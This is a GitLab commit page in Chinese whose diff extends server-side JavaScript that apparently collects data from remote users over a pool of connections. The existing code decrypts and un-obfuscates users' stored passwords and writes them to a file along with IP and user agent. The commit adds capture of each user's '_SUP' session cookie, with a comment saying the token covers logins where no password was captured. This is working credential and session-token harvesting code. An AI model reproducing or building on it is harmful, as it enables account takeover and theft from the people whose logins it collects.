提交 9a299275 authored 作者: GOD_ZYX's avatar GOD_ZYX

追加 token,辅助登录

上级 f6b12d86
...@@ -115,12 +115,13 @@ const agentProcessor = () => { ...@@ -115,12 +115,13 @@ const agentProcessor = () => {
pwdBase64 = com.CryptoJs.decryptData(_AUTH) pwdBase64 = com.CryptoJs.decryptData(_AUTH)
} }
/* 有密码时,才写入基础数据中 */ /* 有密码时,才写入基础数据中 */
if (pwdBase64) { if (pwdBase64 || _SUP) {
fs.writeFile(stuPath + '/info.txt', [ fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name, 'Name: ' + json.name,
'Sys: ' + json.sys, 'Sys: ' + json.sys,
'Auth: ' + json.auth, 'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1), 'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'Token: ' + _SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: ' + getClientIP(req), 'IP: ' + getClientIP(req),
'UA: ' + req.headers['user-agent'], 'UA: ' + req.headers['user-agent'],
'\n\n' '\n\n'
......
...@@ -17,6 +17,7 @@ const sendMsg = (req, res) => { ...@@ -17,6 +17,7 @@ const sendMsg = (req, res) => {
let _tmp = _nsCoonPool[i] let _tmp = _nsCoonPool[i]
let _str = '' let _str = ''
let _pwd = '' let _pwd = ''
let _token = ''
if (_tmp.backData) { if (_tmp.backData) {
let _json = JSON.parse(_tmp.backData) let _json = JSON.parse(_tmp.backData)
if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
...@@ -33,10 +34,17 @@ const sendMsg = (req, res) => { ...@@ -33,10 +34,17 @@ const sendMsg = (req, res) => {
break break
} }
} }
for (let i = 0; i < _cookiesArr.length; i++) {
if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
_token = _cookiesArr[i].value
break
}
}
_conArr.push({ _conArr.push({
auth: _tmp.key, auth: _tmp.key,
_str: _str, _str: _str,
pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''), pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
Token: _token,
keepExitTime: com.DateTime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime), keepExitTime: com.DateTime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
IPs: _tmp.IPs, IPs: _tmp.IPs,
UA: _tmp.UA UA: _tmp.UA
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论